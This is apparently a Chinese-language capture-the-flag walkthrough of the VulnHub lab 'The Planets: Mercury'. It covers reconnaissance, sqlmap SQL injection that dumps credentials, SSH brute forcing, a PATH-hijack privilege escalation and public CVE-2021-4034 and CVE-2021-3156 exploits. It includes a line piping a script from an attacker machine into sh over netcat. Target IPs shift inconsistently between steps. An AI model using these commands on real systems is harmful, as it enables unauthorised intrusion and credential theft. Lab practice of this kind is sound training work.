VulnHub通关流程:THE PLANETS:MERCURY-M妻少女漫画
Mercury is an easier box, with no bruteforcing required. There are two flags on the box: a user and root flag which include an md5 hash.
Difficulty: Easy
下载地址:The Planets: Mercury ~ VulnHub
阶段一:信息收集1. 发现主机netdiscover -i eth0 -r 192.168.1.1/24
获得目标主机IP,192.168.1.106
2. 扫描主机nmap -p- -sV -sC -O -oN nmap.out 192.168.1.112
获得以下信息:
端口22开放,运行SSH服务
端口8080开放
运行有web服务
http-robots.txt: 1 disallowed entry
3. 针对web服务搜集信息目录扫描
dirb http://192.168.1.113:8080/ -o dirb.out发现文件robots.txt,没有额外信息。
发现404页面
当尝试进入不存在页面时(例如/admin),会发现404页面会显示额外信息
发现目录/mercuryfacts/
发现sql注入漏洞
进入页面/mercuryfacts/并点击load a fact会进入页面mercuryfacts/1/
修改URL为/merryfacts/1'/,发现error based漏洞。
获得以下信息:
后台存在mysql数据库
发现用户webmaster
发现注入点:
http://192.168.1.113:8080/mercuryfacts/1/阶段二:sql注入1.使用sqlmap进行sql注入获取数据库名
sqlmap -u http://192.168.1.113:8080/mercuryfacts/1 --batch --dump发现数据表facts和users
在数据表users中发现账户密码。其中包括已知用户webmaster。
Database: mercuryTable: users[4 entries]+----+-------------------------------+-----------+| id | password | username |+----+-------------------------------+-----------+| 1 | johnny1987 | john || 2 | lovemykids111 | laura || 3 | lovemybeer111 | sam || 4 | mercuryisthesizeof0.056Earths | webmaster |+----+-------------------------------+-----------+在数据表user中发现信息
Database: mercuryTable: facts[8 entries]+----+--------------------------------------------------------------+| id | fact |+----+--------------------------------------------------------------+| 1 | Mercury does not have any moons or rings. || 2 | Mercury is the smallest planet. || 3 | Mercury is the closest planet to the Sun. || 4 | Your weight on Mercury would be 38% of your weight on Earth. || 5 | A day on the surface of Mercury lasts 176 Earth days. || 6 | A year on Mercury takes 88 Earth days. || 7 | It's not known who discovered Mercury. || 8 | A year on Mercury is just 88 days long. |+----+--------------------------------------------------------------+发现数据库mercury
使用hydra来寻找账户信息所对应的服务
ssh
hydra -L users.txt -P passwords.txt -e nsr 192.168.1.106 ssh成功找到一个ssh用户:
[22][ssh] host: 192.168.1.106 login: webmaster password: mercuryisthesizeof0.056Earths通过SQL注入获取到账户信息:
用户:webmaster
密码:mercuryisthesizeof0.056Earths
阶段三:登录服务器1. 通过ssh登录服务器ssh webmaster@192.168.1.106
2. 查看系统中账户cat /etc/passwd
发现除webmaster外,系统中还存在另外两个账户。分别为mercury和linuxmaster。
3. 检查根目录在用户根目录发现第一个flag文件。路径:/home/webmaster/user_flag.txt
发现文件~/mercury_proj/notes.txt
notes.txt信息:
Project accounts (both restricted):webmaster for web stuff - webmaster:bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMKlinuxmaster for linux stuff - linuxmaster:bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==由信息可知,两个账户均为受限账户。账户名后面数据编码格式为base64。
账户webmaster解码
echo "bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK" | base64 -d结果为mercuryisthesizeof0.056Earths,此结果与SQL注入阶段获取到的密码相同,可知为ssh登录密码。
账户linuxmaster解码
echo "bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==" | base64 -d结果为mercurymeandiameteris4880km。推测此为账户linuxmaster的ssh登录密码。
得到账户信息:
用户:linuxmaster
密码:mercurymeandiameteris4880km
阶段四:提权有两种方法可以提权。第一种是通过账户linuxmaster对命令的特殊权限,进行命令替换,进而提权。另一种是通过linpeas扫描漏洞,直接通过漏洞提权。
1. 通过命令替换提权切换为账户linuxmaster
su - linuxmaster查看权限
sudo -l发现用户linuxmaster可以调用需要root权限的程序check_syslog.sh。该程序位于路径/usr/bin/check_syslog.sh。
查看check_syslog.sh内容
cat /usr/bin/check_syslog.sh结果为:
#!/bin/bashtail -n 10 /var/log/syslog发现该程序需要调用命令tail。提权思路:替换tail,使root执行替换后的tail命令。
替换命令tail
在/tmp路径下新建文件tail,并使其可以调用bash。
echo "/bin/bash" > /tmp/tail给予权限
chmod 777 /tmp/tail将tail路径添加进环境变量
export PATH=/tmp:$PATH保留当前环境变量PATH,使用sudo执行程序check_syslog.sh
sudo --preserve-env=PATH check_syslog.sh成功获取root权限
在用户根目录发现第二个flag文件。路径:/root/root_flag.txt
2. 通过漏洞提权使用linpeas来进行提权漏洞扫描。linpeas可以从github下载。
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
将linpeas.sh上传到靶机,并运行
攻击机
nc -lvp 8888 < linpeas.sh靶机
nc -q 3 192.168.1.150 8888 | sh发现了两个漏洞可以提权。分别是CVE-2021-4034和CVE-2021-3156。
使用漏洞CVE-2021-4034进行提权
下载漏洞利用文件
git clone https://github.com/berdav/CVE-2021-4034.git编译
make执行
./cve-2021-4034获得root权限
使用漏洞CVE-2021-3156进行提权
下载漏洞利用文件
git clone https://github.com/blasty/CVE-2021-3156.git编译
make执行
./sudo-hax-me-a-sandwich 1获得root权限